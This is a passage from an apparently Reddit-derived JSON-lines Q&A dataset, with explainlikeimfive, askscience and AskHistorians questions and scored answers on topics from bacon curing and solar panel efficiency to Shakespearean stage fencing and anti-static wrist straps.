Russian Revolution.", "Dr. Jensen, quite an honor to speak to you!\n\nGot a question relating to the methods of terrorism, and the considerations of it.\n\nWhen conducting these acts, would anarchists often consider collateral damage in their calculations? Did they seek to maximize casualties, even among civilians, or were they loath to hurt anyone besides a specific target, and how did this factor into their ideology? I recognize this might be broad, so if it varies then that's fair, just wondering if there was a trend despite the lack of organization.\n\nAlso, how did the backlash you mentioned in another question manifest? Were there public demonstrations against anarchist movements? How did the people react, in general, to their actions?\n\nThanks in advance!", "For the record, the name on my book is: Richard Bach Jensen"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "e89th5", "title": "why does ham and bacon cook brown/red, but pork loins cook white?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/e89th5/eli5_why_does_ham_and_bacon_cook_brownred_but/", "answers": {"a_id": ["fa9z6zs", "faa6hy2"], "score": [36, 3], "text": ["Cured vs uncured.\nAlso, like chicken, different areas have different colours.\n\nThink chicken dark vs white meat.", "Pork Loin will also cook brown/red when cooked in thin strips (that is what Canadian, Irish, and British Bacon is cut from) and cured. The Curing process involving various salts and nitrates, as well as often including smoke colors the meat."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "10fr59", "title": "The smell of sleep.", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/10fr59/the_smell_of_sleep/", "answers": {"a_id": ["c6d37vr"], "score": [2], "text": ["No.  If anything the smell of sleep was body odor (if you smelled anything).\n\nYour buddy was using hyperbole."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3kp3gf", "title": "multiple health insurance policies and dependents", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3kp3gf/eli5_multiple_health_insurance_policies_and/", "answers": {"a_id": ["cuz9p7t"], "score": [2], "text": ["You might also try /r/InsuranceAdvice "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6chqpp", "title": "how did they train pilots before simulators?", "selftext": "How could they teach a pilot to fly a fast single seater plane without any real practice on the ground? \n", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6chqpp/eli5_how_did_they_train_pilots_before_simulators/", "answers": {"a_id": ["dhupt3u", "dhv9ie6"], "score": [2, 2], "text": ["With special trainer versions of the planes with two cockpits. This lets a student try the controls while an experienced pilot can assume command of the vehicle at any time.", "We still use trainers today.  Dual-controlled aircraft are actually pretty common even in the operational military/commercial planes.  \n\nYou could also argue that planes have gotten more complicated since the times before similares.   Flying  in and of itself it's pretty simple.  From a standpoint of physics, a plane WANTS to fly in the sense it wants to remain airborne and continue to produce lift.  If you took a plane to any altitude and established straight, level, unaccelerated flight it would stay like that until the winds changed or it ran out of power.  If you did the same thing but cut off the engine it would slow down and because it wants to remain flying the nose would automatically pitch down to keep the angle of attack low and regain speed and therefore lift.  Many of my instructor pilots will \"trim\" (subtle aerodynamic changes made by acutely adjusting the control surfaces to adjust for wind, high/low power or balance) the airplane to the point where they are \"flying\" it hands and feet free until a change has to be made.  \n\nTL;DR: The act of flying is pretty simple.  All the other systems and electronics on aircraft are what's complicated and they are relatively new. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "aj6fap", "title": "why do so many languages have a word that means both \u201chello\u201d and \u201cgoodbye?\u201d", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aj6fap/eli5_why_do_so_many_languages_have_a_word_that/", "answers": {"a_id": ["eet2cm2", "eet2mrv", "eet2x9c"], "score": [3, 3, 2], "text": ["\"Shalom\" literally mean \"peace\" - languages have the same word for \"hello\" and \"goodbye\" because the literal interpretation works well as both a greeting and a farewell. English used to have phrases like this, but they've fallen out of use - eg \"Good Day\" and \"Cheerio.\"", "Not sure about all those languages but often times when it's the same word for both, it doesn't particularly mean hello or goodbye, it's more like \"good fortune\" or \"happiness\". They dont really have a time aspect attached to like before or after meeting someone. ", "Most don't actually translate into hello or goodbye but rather a word for good health or fortune.  Which can then be used as both a greeting and a goodbye.\n\n\nIn English, I'd say a good comparison would be something similar to \"peace be with you.\" It makes sense to say both ways."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3ny29z", "title": "panasonic just announced solar panels with 22.5% efficiency, what does this mean exactly and what would the benefits be if it where 50%, 75% or a 100%?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3ny29z/eli5_panasonic_just_announced_solar_panels_with/", "answers": {"a_id": ["cvs9q5r", "cvsa21t", "cvsf8tl", "cvsgdxs", "cvsggqi"], "score": [5, 150, 16, 2, 4], "text": ["It means 22% of the energy in sunlight that hits the solar panel gets converted into usable electricity. A higher percentage would just mean you get more electricity from the same amount of sunlight.", "It means 22% of the solar energy that hits the panel is turned into electricity.  So, if if the percentage were greater, you'd get more electricity.\n\nPlease note that watts aren't just a measurement of electricity, but a generic measurement of power.\n\nLet's say 1000 watts of sunlight hits the panel.\nIf your panel is 22% efficient, that means that you get 0.22 times the power that hits the panel.\nSo, you get 0.22*1000, or 220 watts.\n\nNow, let's say you've got a 50% efficient panel.\nThat means your power output is 0.5 times the sunlight \nthat hits the panel. So, you get 0.5*1000, or 500 watts.\n\nMost currently available panels are between 10 and 15% efficient, so with Panasonic panels, you'll get quite a bit more power.", "FYI, the upper limit of efficient (based on current knowledge of how solar panels work) is ~86%. \n\n\nNot ELI5, but see [Shockley\u2013Queisser limit](_URL_0_).\n\nEdit: Link formatting.", "Do you have the source article I can read?", "The efficiency does not matter so much as the cost to build the energy collector. If we could spread a 1 % efficient film which cost nothing over our roofs and highways we would do it to get the energy. The energy would cost us nothing. But there is nothing which costs nothing.\n\nOnce wind turbines are installed their energy costs nothing to collect. But the power grids are using their instant on, instant off feature to control the amount of power in the grid minute by minute. Turbines are being turned off and on based on the energy demand. This is done by feathering the blades, turning them into the wind. They can be turned back on in a minute. Coal fired power plants take a lot longer to turn on and off."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Shockley%E2%80%93Queisser_limit"], [], []]}
{"q_id": "2jhrje", "title": "why are aerial battles called dogfights? where did the origin of that word come from?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2jhrje/eli5why_are_aerial_battles_called_dogfights_where/", "answers": {"a_id": ["clbuwhy", "clbuwun", "clc01vx"], "score": [27, 5, 2], "text": [" > The term dogfight has been used for centuries to describe a melee; a fierce, fast-paced battle between two or more opponents. The term gained popularity during World War II, although its origin in air combat can be traced to the latter years of World War I.[3] The first written reference to the modern day usage of the word comes from Fly Papers, by A. E. Illingworth, in 1919, \u201cThe battle develops into a \u2018dog-fight\u2019, small groups of machines engaging each other in a fight to the death.\u201d[4] The term fighter ace generally applies to any pilot who eliminates five opponent craft in the air (or, in Germany during World War I, ten aircraft), although not necessarily in a dogfight.\n\n > Modern day fighter pilots have compared dogfighting-with its intense maneuvering, leaving little margin for error-akin to \"knife fighting in a phone booth\".\n\n_URL_0_", "This is one of those cases where [Wikipedia](_URL_0_) really does a much better job than I can do:\n\n >  The term dogfight has been used for centuries to describe a melee; a fierce, fast-paced battle between two or more opponents. The term gained popularity during World War II, although its origin in air combat can be traced to the latter years of World War I.[3] The first written reference to the modern day usage of the word comes from Fly Papers, by A. E. Illingworth, in 1919, \u201cThe battle develops into a \u2018dog-fight\u2019, small groups of machines engaging each other in a fight to the death.\u201d[4] The term fighter ace generally applies to any pilot who eliminates five opponent craft in the air (or, in Germany during World War I, ten aircraft), although not necessarily in a dogfight.\n", "It's called a dogfight cause of the way dogs fight and play. It's not a static, I chase you, situation. there are stops and turns loops speed changes angles attack and retreats. I really learned this while taking a group of dogs to play in the woods. while two are engaged the other will run and make loops come in from another direction entirely. I have some ok video. Though I'm on my phone. And can't post it. Really fun to watch happening."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Dogfight"], ["http://en.wikipedia.org/wiki/Dogfight#Etymology"], []]}
{"q_id": "27k399", "title": "Are there instances in 20th Century warfare (WWI, WWII, Cold War, etc) where sex was weaponized in order to gain intelligence, the upper hand, etc?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/27k399/are_there_instances_in_20th_century_warfare_wwi/", "answers": {"a_id": ["ci1ku2s", "ci1p36r", "ci207ob"], "score": [22, 2, 4], "text": ["Yes, intelligence agencies have sometimes used sex as a means of gathering information. Here's how it works: spies or assets (people who provide info to an intelligence agency but are not spies themselves) will seduce a target such as a high-level policymaker, businessman, or person who defected to an enemy country. They will then use that relationship to gain that target's confidence. From here, several different things can happen:\n\n1. The target may trust his/her new paramour with sensitive information, which is then relayed back to whatever agency the spy works for.\n\n2. The spy may lure the target to a location where they can be captured and interrogated.\n\n3. The spy may blackmail the target for information.\n\nThis strategy is known as the \"honey trap,\" and spymasters have used it to great effect more than once. [Here](_URL_0_) is a very entertaining Foreign Policy article with a few examples of famous honey traps during the Cold War. One of the most famous was when Markus Wolf, the head of the Stasi throughout much of the Cold War and one of the greatest spymasters in intelligence history, assigned dozens of male East German agents to seduce female West German bureaucrats. In doing so the Stasi managed to infiltrate multiple layers of the West German government.", "Mata Hari _URL_0_\n\nWas a well known exotic dancer and courtesan in the early 1900's and was convicted of espionage and spying for the Germans during World War One, which she was executed for in 1917. Earlier she was also suspected of possibly being a double agent.", "Are you speaking in the context of rape as a weapon too? If so I'd be happy to elaborate/ add sources."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.foreignpolicy.com/articles/2010/03/12/the_history_of_the_honey_trap"], ["http://en.wikipedia.org/wiki/Mata_Hari"], []]}
{"q_id": "1x5hfb", "title": "Relative to the country at the time he served, who was the most liberal U.S. president in history? Most conservative?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1x5hfb/relative_to_the_country_at_the_time_he_served_who/", "answers": {"a_id": ["cf8ebcl"], "score": [6], "text": ["This is more political science than history, but I think it's relevant to mention Stephen Skowronek. Skowronek divides presidents into four categories: reconstructive, preemptive, articulation,  &  disjunction. Reconstructive presidents overthrow the dominant regime and establish a new one that dominates politics for a significant amount of time. Franklin Roosevelt is the obvious example of a reconstructive President. I would argue that President Franklin Roosevelt did more than any other President to shift American politics to the left. Of course, that isn't your exact question. Presidents are created by their circumstances. Roosevelt was successful not only because he was a smart politician and he didn't shift the country leftward solely because he was a liberal. He benefited from the fact that the existing regime was falling apart and he came into office in a time of crisis.\n\nAnswering these questions are difficult. It's tough to know what a President's ideal America would look like. Presidents are restricted by the other branches of government, by politics, by institutions, and by their predecessors. President Reagan ran a government larger than FDR's, even if you ignore defense spending. Does that mean that Reagan was more liberal than FDR? Most would argue no, but it's impossible to escape the fact that the policies of former Presidents don't get overturned overnight once the next guy comes into office. Policies become accepted over time. Medicare wasn't popular like it is now at first. But you don't see any mainstream Republicans calling for the end of Medicaid. Is that an indicator that the country has shifted to the left economically? On the other hand, President Reagan shifted the tone of the conversation away from the New Deal/Great Society consensus of the government helping people. The Democrats got destroyed in three straight elections until Bill Clinton came along and shifted the Democratic Party toward the center. So maybe our politics have shifted to the right."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ai9ohg", "title": "how come there are big biffy guys that clearly work out a lot but still have a huge belly as someone with some overweight", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ai9ohg/eli5_how_come_there_are_big_biffy_guys_that/", "answers": {"a_id": ["eem2y0l", "eem35bl", "eem35fp", "eem39ai"], "score": [5, 2, 5, 6], "text": ["Usually the guys that have a belly are eating more calories to get stronger and perhaps not training cardio, when they cut down and diet they\u2019ll lose the belly and look more aesthetic.\n\nWhen you are lean and have visible abs it\u2019s hard to gain muscle and strength due to calorie restrictions... I\u2019m trying to explain it very simply ", "Lifting heavy weights require large muscles in the belly so the body doesn't fold in half or is off balance.  They are not obese, but are well tuned athletes.  The things that society or fashion think looks good is not necessary good for the person.", "Bodybuilders typically have a bulking faze and a cutting faze.  During their bulking faze they consume as much food as possible in order to provide fuel for their metabolism to repair and create new muscle mass.  During this their bellies will be larger.  They typically don\u2019t start the cutting faze until a few weeks before a competition.  During this faze they\u2019ll eat very little real food and drink very little water.  That severe dehydration creates that paper thin tight skin look. It\u2019s also extremely unhealthy.  ", "Putting on muscle requires two things: stressing the existing muscle to stimulate growth, and a surplus of calories. Since it's not a perfectly efficient equation, some of those surplus calories go into muscle and some go into fat.\n\nYou can easily burn off that extra fat afterward while losing only a fraction of the muscle you gained, but if you're a powerlifter who cares more about performance than about good looks, then you don't want to lose any of the muscle, and in fact, the fat is beneficial - my understanding is that it lowers your center of gravity, which helps perform some big lifts. It's also true of some kinds of football players."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "46cu1o", "title": "Can fruit DNA (like from an apple or orange) be traced back to the tree it came from?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/46cu1o/can_fruit_dna_like_from_an_apple_or_orange_be/", "answers": {"a_id": ["d046avj", "d047zwo", "d04dnse"], "score": [138, 36, 4], "text": ["Not with the fruit we eat, since most of it is cloned. For example every single banana you have ever eaten is genetically identical. Same goes for some other fruits too. In the best case you could probably trace a fruit to a region or a single orchard, but beyond that all the plants are propagated by cuttings (cloning) so you could never tell which exact plant it came from.", "Fruit is an organ of the plant, so, yes - will have identical DNA to the tree it grew on. The seeds inside (and resulting seedlings if you were to plant it) are the offspring which will have DNA contribution from both parents.\n\nIn a natural population, if you had access to DNA from the fruit and some population of trees - it would be quite easy to compare and trace the tree that fruit came from.\n\nAs /u/-Tesserex- says however, many of our cultivated fruits are propagated by grafting in order to produce a crop of consistent tasting fruit, so the entire orchard could be clonal.", "I live in apple country and know a lot a farmers. That's 90% of what is farmed around here.\n\nIDK about genetic testing, but they have a tagging system in place now where say if a person gets sick eating a jar of gerber baby food - they can track it all the way back to find out which apples were part of that batch of baby food, and which farm they came from."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4d5gye", "title": "How far back do we know the history of complex language with tenses, grammar and the expression of abstract ideas?", "selftext": "Whats the ealiest we know of this to occur? Were people 10.000 or 15.000 years ago able to have a conversation as we do today? Barring of course unknown topics and social conventions. Did they have grammar and tenses?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4d5gye/how_far_back_do_we_know_the_history_of_complex/", "answers": {"a_id": ["d1or9ue"], "score": [2], "text": ["Just so we're clear, *tenses* are features of some modern languages and not all of them. But if we broaden the scope of your point\u2014how far back do we know that language existed in a form in which abstract thought could be communicated?\n\nThere are no firm numbers, but analyses such as [this one](_URL_4_) date Proto\u2013Indo-European (hereafter, **PIE**) to around 7000 BCE. [Another analysis](_URL_6_) based on folk-tales claims to reconstruct a proto\u2013folk-tale from PIE consistent with a Bronze Age innovation of around 4000 BCE. (A folk-tale should help satisfy demands for language which can communicate abstract thought.)\n\nTracing language time-depth through cognate words in various descendant languages is thought to [run into](_URL_5_) a [time barrier](_URL_8_)^PDF due to word similarities receding into unpredictability around 7000 BCE. [Other types of analysis](_URL_0_) claim to find evidence for proto-languages of greater ancestry, out to about 13,000 BCE. (Note the word *proto-language* refers to an ancestral language from which several later languages descend, not an entity which somehow precedes language in complexity or expressiveness.)\n\nThis leaves out evidence for even earlier symbolic thought (see [here](_URL_1_), [here](_URL_2_), [here](_URL_7_), and [here](_URL_3_)) in *H. neanderthalensis*, a different species of human with which our species likely interbred and which went extinct around [40,000 years ago](_URL_9_). The presence of symbolic thought in neanderthals does not equal language, but it suggests language could have been possible."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.pnas.org/content/110/21/8471.full#ref-12", "http://journals.plos.org/plosbiology/article?id=10.1371/journal.pbio.1001934", "http://www.pnas.org/content/111/37/13301.short", "http://onlinelibrary.wiley.com/doi/10.1002/wcs.1317/abstract?userIsAuthenticated=false&amp;deniedAccessCustomisedMessage=", "https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4112997/", "http://dx.doi.org/10.1075/dia.12.1.04rin", "http://rsos.royalsocietypublishing.org/content/3/1/150645.full", "https://books.google.com/books?hl=en&amp;lr=&amp;id=OnW6CgAAQBAJ&amp;oi=fnd&amp;pg=PA173&amp;dq=symbolic+thought+neanderthal&amp;ots=UXfW2HBIGZ&amp;sig=Zh7aXhyrPCP5Ntf-84QIXmXoQ9M#v=onepage&amp;q=symbolic%20thought%20neanderthal&amp;f=false", "http://www.langtoninfo.com/web_content/9780521880053_frontmatter.pdf", "http://www.nature.com/nature/journal/v512/n7514/full/nature13621.html"]]}
{"q_id": "57y9rd", "title": "Why don't animals eat wood when they eat grass? (insects excluded)", "selftext": "As far as I know, bot hay/grass and wood consists of cellulose. Considering how big and numerous trees are, I would have thought more animals, like cows and other grazing species, would have specialized in eating wood. To my knowledge, only some species of insects eat fresh, healthy wood. How come?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/57y9rd/why_dont_animals_eat_wood_when_they_eat_grass/", "answers": {"a_id": ["d8w2er4", "d8w3c30", "d8wo0dh"], "score": [6, 2, 4], "text": ["Beavers in fact, do eat wood, although they don't (contrary to comic opinion) eat the whole thing. They're interested only in the cambium, bark, and smaller shoots and twigs. As /u/cathlock said they have the bacteria and gut to manage it, but even then it's not a highly nutritious food, even less than most grazing animals manage on. As a result, you can't get very big and still meet your nutritional needs with something that is extremely tough to digest, or you need to spend most of your time eating and chewing cud.\n\nInsects do eat wood, but not most of them; many insects which bore into wood are eating sap or hunting for the larvae of other insects. ", "The role of bacteria is sort of a second-order explanation here; bacteria allow animals to extract sufficient nutrients from food that is deficient in some vitamins or mostly contains hard-to-digest carbohydrates. But the important distinction here is the difference between proper wood and grass/cambium/buds as food sources in the first place. \n\nWood is dead tissue. Unlike living tissue, it doesn't contain enzymes (=protein, =nitrogen, in however small the quantities) or simple sugars or even much in the way of mineral nutrients. Nutrients that are present are locked up by the structural material. This does contain cellulose, which is digestible by some gut microbes, but it is primarily composed of lignin, which has a more irregular structure that requires highly specialized enzymes to break down and takes a lot of moisture and a lot of time for not a lot of reward. It can't be done quickly enough to fuel an animal.", "Wood has lignin, which gives wood its strength. Aside from being so hard to bite off and chew, most animals do not have the enzymes necessary to digest lignin (like what termites have). Also, in the case of termites, they have symbionts (mostly bacteria) inside their guts that help digest lignin further. Animals who eat grass don't have that."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "97gxpq", "title": "What's the deal with all the sword fights in Shakespeare? Some of them seem a bit forced into the plot. Were they just for show? Would an audience member have just gone for these like we go see action movies today?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/97gxpq/whats_the_deal_with_all_the_sword_fights_in/", "answers": {"a_id": ["e489atr"], "score": [380], "text": ["I'm sure there are others on here who specialise more closely in stagecraft than I, but I can offer a few insights here. This is a great question which requires a few different perspectives to give a good answer.\n\n & nbsp;\n\nThe first bit of context I would like to attach here is that of the Elizabethan play-going scene. While there were indoor theatres and court performances which would cater specifically to a higher class of patron, the playhouses in London famously took all comers. They were also seated in an environment where a fairly large variety of entertainments were on offer on the South side of the river, some more savoury than others. Brothels, animal baiting, and plays could all be enjoyed a stone's throw away from one another.^1 Fighting and duels were also commonplace - tournaments were held at Smithfield, and public fencing contests between students of London's fencing schools were held in playhouses, open fields, and inns and taverns.^2 Public fighting was very much part of the entertainment scene, so in many ways it isn't surprising to see duels and swordfights appear on stage.\n\n & nbsp;\n\nAs for your question about whether the sword fights were 'for show', that's harder to answer. Elizabethan play-goers were certainly accustomed to sword fighting to some degree, especially given that fencing contests were potentially a part of their entertainment diet, and that it is reasonable to assume that a majority of able-bodied men at this time had some familiarity with swordplay themselves ('stab them with the pointy end!'). We do not know whether sword fights on stage generally attempted to appear convincing and real, or whether stage fighting had its own conventions without any expectation of verisimilitude.^3 Few contemporary sources discuss this at all, let alone tell us whether these stage fights were realistic. We do know that some actors, like Richard Tarlton were talented fencers, but have no way of knowing whether this was a talent that was put to use on stage to enhance realism.^4 It is worth bearing in mind that we do know that animal blood was more than likely used on the stage to produce realistic special effects, so there must have been some expectations of realism from the stage in other areas.^5\n\n & nbsp;\n\nNow to come to Shakespeare. Charles Edelman sees Shakespeare's substantial use of on stage fencing/swordfighting as particularly unusual for the period. He says;\n\n > However prevalent the tradition of fencing in the playhouse may have been at the time Shakespeare began his career as a dramatist, it borders on the remarkable that he was the first to exploit this tradition to any significant extent. While stage comba certainly existed before Shakespeare, it is also true that most poets, at least as far as can be determined from extant texts, preferred much of their fighting to be done offstage.^6\n\nQuite a few contemporary plays call for both blood and gore in copious quantities (Marlowe's *Tamburlaine* plays come to mind, which includes a character braining himself to death on stage), but few combine swordplay and dialogue in the way that Shakespeare does, which is what Edelman regards as the true innovation taking place here.\n\n & nbsp;\n\nI think that covers the key points of cultural context for the staging of swordplay, but I'll spend a little time going into a few specific examples of the way in which Shakespeare makes swordplay an integral and symbolically meaningful part of his drama. *Romeo and Juliet* is probably the most oft-discussed example of Shakespeare's focus on swordplay. For example, Old Capulet calls for his long sword during the brawl in act 1 sc 1, marking him as something of an old fuddy-duddy compared to the young men with their modern rapiers. Baz Lurhmann does a great job with this in the film adaptation, where Capulet reaches for a ~~large, old fashioned shotgun~~ [edit: thanks for correcting me /u/g2petter, it's actually a modern pump-action shotgun he goes for], where all the young men have flashy pistols. The generational divide is exemplified here by his choice of weaponry.\n\n & nbsp;\n\nLater in the play, the fight between Tybalt, Mercutio and Romeo features a number of jibes about the way that Tybalt fences 'by the book', and this indeed refers to a popular genre of fencing manual (The British Library has an interesting copy online [here](_URL_1_)). It can be argued that this very detailed fight scene was a good opportunity to show off some fashionable continental duelling styles on stage.\n\n & nbsp;\n\nThe verbal run-down of the fight is so detailed that Adolph L. Soens reconstructs the fight and the stereotypical assumptions that come with each style of fighting that the men adopt. He describes how Tybalt is represented as 'foreign and affected' compared to Mercutio's representation as a 'rough, honest, downright Englishman' in terms of their clothing and manners, and how Tybalt's mechanical style of Spanish fencing overcomes Mercutio's Italian style (on which much contemporary English fencing was based). We have a clear set-up for 'good guy and bad guy' here, and *welp*, the bad guy wins.^7\n\n & nbsp;\n\nOther plays that I don't have time to discuss in detail today (sorry) but which use sword fighting in a similarly narrative way include *Hamlet*, *King Lear*, and *Macbeth*.\n\n & nbsp;\n\nTo attempt a conclusion - yes, to some degree sword-fighting was included in plays because it was already part of the entertainment scene and known to be popular. Early modern plays were a visual spectacle, often full of blood and gore and it's not surprising that we see it take place on stage, especially as fencing manuals were becoming popular in print. However, the way in which Shakespeare gets a lot of his fighting done on stage and the way he integrates it into his overall symbolic landscape for the play is pretty unusual. Hope that answers at least some of your question, and look forward to see what else others with a closer degree of specialism in the field have to offer!\n\n & nbsp;\n\n^1 Philip Henslowe, the owner of the Rose Theatre (where many of Christopher Marlowe's plays were staged) had business interests in all three of these areas, with one of his theatres set up to accommodate *both* plays and animal-baiting. See [here](_URL_3_)\n\n & nbsp;\n\n^2 McElroy, Mary, and Kent Cartwright. \"Public Fencing Contests on the Elizabethan Stage.\" *Journal of Sport History* 13, no. 3 (1986): 193-211. _URL_5_.\n\n & nbsp;\n\n^3 I recommend reading the introduction to Charles Edelman's *[Brawl Ridiculous: Swordfighting in Shakespeare's Plays](_URL_0_)* (Manchester: Manchester University Press, 1992) for a more detailed discussion of this.\n\n & nbsp;\n\n^4 Thomson, P. 'Tarlton, Richard (d. 1588), actor and clown' in *Oxford Dictionary of National Biography*. Ed.   Retrieved 15 Aug. 2018, from [_URL_2_.](_URL_2_.)\n\n & nbsp;\n\n^5 Farah Karim-Cooper and Lucy Munro, *Shakespeare\u2019s Globe Theatre History Seminar\nStage Blood: A Roundtable*, 13 July 2006. See [here](_URL_4_) (opens pdf).\n\n & nbsp;\n\n^6 Edelman, *Brawl Ridiculous*, p.11.\n\n & nbsp;\n\n^7 Soens, Adolph L. \"Tybalt's Spanish Fencing in Romeo and Juliet.\" *Shakespeare Quarterly* 20, no. 2 (1969): 121-27. doi:10.2307/2868996.\n\n & nbsp;\n\nedit: formatting derp"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://books.google.co.uk/books?id=SdnYAAAAIAAJ&amp;printsec=frontcover&amp;dq=shakespeare+sword+fighting&amp;hl=en&amp;sa=X&amp;ved=0ahUKEwiGxoOP8-7cAhWIKsAKHVI1DNsQ6AEIKTAA#v=onepage&amp;q=burbage's%20bouts&amp;f=false", "https://www.bl.uk/collection-items/elizabethan-fencing-manual", "http://www.oxforddnb.com/view/10.1093/ref:odnb/9780198614128.001.0001/odnb-9780198614128-e-26971", "https://www.britannica.com/biography/Philip-Henslowe", "https://www.shakespearesglobe.com/uploads/files/2015/02/seminar_stage_blood_roundtable_2006.pdf", "http://www.jstor.org/stable/43609212"]]}
{"q_id": "7hkc7n", "title": "why and how does a anti-static wrist band protect and prevent our electronics from being damaged?", "selftext": "Why does static even ruin our electronics, and what exactly does an anti-static band do to prevent that from happening?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7hkc7n/eli5_why_and_how_does_a_antistatic_wrist_band/", "answers": {"a_id": ["dqrmvkt", "dqrn10c", "dqro3lr", "dqrumcf", "dqrxr8i"], "score": [2, 18, 2, 2, 7], "text": ["Static is electricity. When you scuff your feet on the carpet to build up a charge and touch a doorknob, you get a little electric shock. \n\nIf a CPU or other sensitive electronic equipment gets that kind of shock, it could destroy the components.\n\nAn anti-static wristband is connected to a ground somewhere so that your body doesn't build up a charge. No charge == no static shock == no fried components.", "Your body is not a very good conductor.  It's ok, nothing special.\n\nYour clothes/shoes, on the other hand, are good insulators and they can charge you up to tens of thousands of volts.  Discharging 15,000V into a computer circuit designed to run on 3.3V will fry it.\n\nThe anti-static band uses your ok conductor body to bleed off the charge your clothes/shoes have built up.  That makes you have only safe voltage on your skin, as long as your anti-static band is hooked to ground (through a resistor, for safety).", "Static Electricity ruins electronics by putting a very high amount of voltage across a certain point on a circuit very fast. Power that cannot be used in a circuit is transformed into heat which can peal electronic traces off of a PCB or burn out a logic gate. The idea behind an anti-static band is that it provides a constant path to ground at a resistance that is lower then going through your body so any electrical charge that builds up in your body will never get to a point where it can damage your devices.\n\nI've worked in IT for more than 10 years now and have not worn a AS strap since BOCES.", "A lot of really inaccurate comments here. You will never \"burn out\" traces on a PCB or even transistors in a chip with just the static charge of your body. Realistically, the only time you need an ESD strap is when working with MOSFET/CMOS based devices. These have very thin oxide insulating layers separating the gate from the rest of the device, and a high voltage can punch a hole through it, ruining the insulating barrier. But this can barely be described as \"burning\" it out.\n\nAgain, people describing the static charge as \"frying\" or \"burning\" the components basically have no clue what they are talking about.\n\nTo more directly answer the question, the ESD strap simply provides a conductive path to ground (zero volts), thus preventing your body from building up a high voltage.", "Think about what would happen if you designed a bridge that was able to support a couple people walking across it at the same time and then you drove a fully loaded semi across it. That's basically what static discharge does to electronics - you take something designed for a small load and you briefly put a load that is orders of magnitude larger across it.  It might not fail immediately, but it is certainly weakened and highly more likely to fail in the future.   [The huge amount of voltage being delivered into a fragile piece of metal can cause a significant part of the metal path to basically vaporize or turn into slag](_URL_0_), which can cause power to go places where it isn't expected or not go where it is expected.\n\nAnti-static bands basically give electricity that has built up on you a path to leave.  Your clothes rubbing together can build up static charge on you that can't overcome the insulating property of your shoes, but if you touch an electronic device that can conduct it will jump to that path of least resistance.  Putting on an ESD strap always gives the static electricity that builds up on you an immediate and low-resistance path to leave you so that there is minimal if any build-up on you as you're working with those electronic devices.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://www.scantech7.com/wp-content/uploads/2015/11/ESD-Damage.jpg"]]}
{"q_id": "iy4hk", "title": "How did scarlet macaws evolve to have their feathers in rainbow order? Do any other organisms have this coloration?", "selftext": "[Here's a good picture of one.](_URL_0_) The colors clearly progress from red to blue like in a rainbow. I was wondering if this was seen anywhere else, and how this could have come about evolutionarily.\n\nDo parrots perceive rainbows and select mates that look like them? Are rainbows just universally pleasing to animals? Am I just seeing patterns between unrelated things because I'm a human?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/iy4hk/how_did_scarlet_macaws_evolve_to_have_their/", "answers": {"a_id": ["c27kr6u", "c27kz1x", "c27lvg8"], "score": [6, 17, 8], "text": ["Not every trait has to be an adaptation. It could be random chance that their plumage evolved to have that coloration. I'm not saying that that is the case, but it's good to keep in mind that not all evolution is driven by natural selection.", "\"Am I just seeing patterns between unrelated things because I'm a human?\"\n\nI think that this is the answer - if you consider every other species of tropical, brightly-colored bird, odds are at least one or two would evolve a spectrum pattern. \n\nAnother reason being, maybe, because those colors stand out against each other well. ", "Others have pointed out that this is probably a case of selection bias given the vast number of different bird coloring patterns and the finite number of possible patterns. However to address the more general question of why birds often have flamboyant colors and feathers it is import to recognize that the answer does not end with \"the females choose the flamboyant ones.\" While that's true that just shifts the question to \"why do the females pick the flamboyant ones?\"\n\nWe know that the exotic shaped feathers and pigments are costly to the males survival, and nature would not select for females which picked mating criteria that produced offspring with a reduced chance of survival. The answer seems to be that the females who pick flamboyant males are picking parasite free mates because the ability to make flashy bright pigments is often compromised 